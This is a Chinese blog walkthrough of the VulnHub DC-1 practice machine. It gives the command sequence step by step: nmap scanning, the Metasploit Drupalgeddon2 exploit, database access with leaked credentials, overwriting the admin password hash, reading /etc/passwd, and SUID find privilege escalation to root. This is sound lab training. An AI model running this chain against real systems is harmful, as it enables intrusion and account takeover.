0%

靶机DC-1的渗透记录

发现一个靶机,来学习一下


下载地址:https://www.vulnhub.com/entry/dc-1,292/


准备

kali攻击机×1
靶机DC-1×1 靶机要和kali在同一个局域网里

信息搜集

打开虚拟机 发现需要登录

打开kali进入root用户 直接扫

1
arp-scan -l


可以在设置里看一下渗透机的MAC地址 从而判断渗透机的ip是多少

上nmap 扫一下看看

1
nmap -sS -sV -Pn -n 192.168.174.128


我们可以看到 22 80 111 这些端口是开放的
80端口对应的是web服务 可以先去瞅瞅

百度了解一波↓↓↓

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成
然后,再来看看版本

1
nmap -sS -sV -A -Pn -n -p- 192.168.174.128


使用的是Drupal 7
或者你也可以使用插件wappalyzer

Metasploit漏洞利用

接下来思路就很明了了 找一下相关的漏洞来利用
基于搜索引擎的某度黑客(#^.^#)

1
2
msfconsole  #启动
search drupal #查找有关漏洞


某度找了一圈,发现有个Vulnerability(漏洞)正好针对Drupal 7
那么,接下来就是Exploit(漏洞利用)环节了

1
2
use  exploit/unix/webapp/drupal_drupalgeddon2
show options


看来是可行的 返回了一个session

1
2
set rhosts 192.168.174.128
run

flag 1

接下来看一下目录 发现有flag1.txt

1
2
Every good CMS needs a config file - and so do you.
每一个好的CMS都需要一个配置文件,你也一样。

flag 2

根据flag1.txt的提示 跑去某度找了一下Drupal的目录结构
Drupal默认配置文件在 /var/www/sites/default/settings.php
打开看一下

1
cat /var/www/sites/default/settings.php

1
2
3
4
5
6
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
暴力破解和字典攻击不是获得权限的唯一方法(你可能将要进入的)
你可以用这些认证做什么呢?

flag 3

获得flag2的同时,也获得了数据库账号和密码

做到这里突然想到 其实一开始可以传个大马上去的
后来又想了想,也可以不传
先做着试试吧
用python反弹一个交互式shell 登录MySQL数据库

1
2
python -c 'import pty; pty.spawn("/bin/bash")'
mysql -udbuser -p #password:R0ck3t


进入数据库肯定要先查询用户了

1
2
show databases;
use drupaldb;

1
show tables; 

1
select * from users;


密码被数据库加密了
这个时候修改用户admin的密码即可
因为数据库的密码都是加密状态的
所以我们用同样的加密方法生成新密码的hash值并且更新到数据库、

参考:http://drupalchina.cn/node/2128

1
2
3
php scripts/password-hash.sh night  #生成新密码night

password: night hash: $S$DG7uGw5ymTluwrt4CxxTyYuNBD/.If3LxpxJC4Fge4cGPzpuubsQ


得到新密码的hash值 然后进入mysql数据库

1
mysql -udbuser -p   #password:R0ck3t

1
update drupaldb.users set pass="$S$DG7uGw5ymTluwrt4CxxTyYuNBD/.If3LxpxJC4Fge4cGPzpuubsQ" where name="admin";


然后我们打开浏览器 在网页Log in

登录成功

点击左上角Find content找到flag3

1
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

flag 4

1
cat /etc/passwd   

说起来这个命令我可太熟悉了 linux作业帮别人写了不知道多少遍 当时还不懂事还纳闷有啥用^_^

然后进入目录查看flag4

1
2
3
Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy. Or maybe it is?

flag 5

涉及到SUID提权 了解了一下 发现需要找到可以提权可行性文件
尝试find

1
find / -perm -u=s -type f 2>/dev/null

1
2
cd /var/www
touch night

1
2
3
4
5
find / -name night -exec "/bin/sh" \;
whoami
cd /root
ls
cat thefinalflag.txt

1
2
3
4
5
6
7
Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7


逆风的方向,更适合飞翔, 我不怕千万人阻挡 ,只怕自己投降


本文结束,感谢您的阅读看到这里的师傅博主非常感谢